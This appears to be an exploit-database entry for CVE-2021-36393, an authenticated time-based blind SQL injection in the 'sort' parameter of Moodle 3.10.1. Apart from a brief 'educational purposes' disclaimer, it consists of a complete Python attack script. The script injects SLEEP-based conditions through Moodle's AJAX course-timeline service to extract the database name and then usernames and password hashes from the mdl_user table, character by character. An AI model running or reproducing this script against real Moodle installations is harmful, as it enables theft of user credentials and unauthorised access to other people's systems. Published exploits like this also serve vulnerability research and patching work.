Moodle 3.10.1 authenticated blind timebased sql injection "sort" parameter Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-04-12 | Type : webapps | Platform : php
This exploit / vulnerability Moodle 3.10.1 authenticated blind timebased sql injection "sort" parameter is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter
# Google Dork:
# Date: 04/11/2023
# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)
# Vendor Homepage: https://moodle.org/
# Software Link:
# Version: 3.10.1
# Tested on: Linux
# CVE : CVE-2021-36393

import requests
import string
from termcolor import colored

# Request details
URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"
HEADERS = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",
"Origin": "http://127.0.0.1:8080",
"Referer": "http://127.0.0.1:8080/moodle/my/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",
"Connection": "close"
}

# Characters to test
characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"

def test_character(payload):
response = requests.post(URL, headers=HEADERS, json=[payload])
return response.elapsed.total_seconds() >= 3

def extract_value(column, label):
base_payload = {
"index": 0,
"methodname": "core_course_get_enrolled_courses_by_timeline_classification",
"args": {
"offset": 0,
"limit": 0,
"classification": "all",
"sort": "",
"customfieldname": "",
"customfieldvalue": ""
}
}

result = ""
for _ in range(50): # Assumes a maximum of 50 characters for the value
character_found = False
for character in characters_to_test:
if column == "database()":
base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"
else:
base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"

if test_character(base_payload):
result += character
print(colored(f"{label}: {result}", 'red'), end="\r")
character_found = True
break

if not character_found:
break

# Print the final result
print(colored(f"{label}: {result}", 'red'))

if __name__ == "__main__":
extract_value("database()", "Database")
extract_value("username", "Username")
extract_value("password", "Password")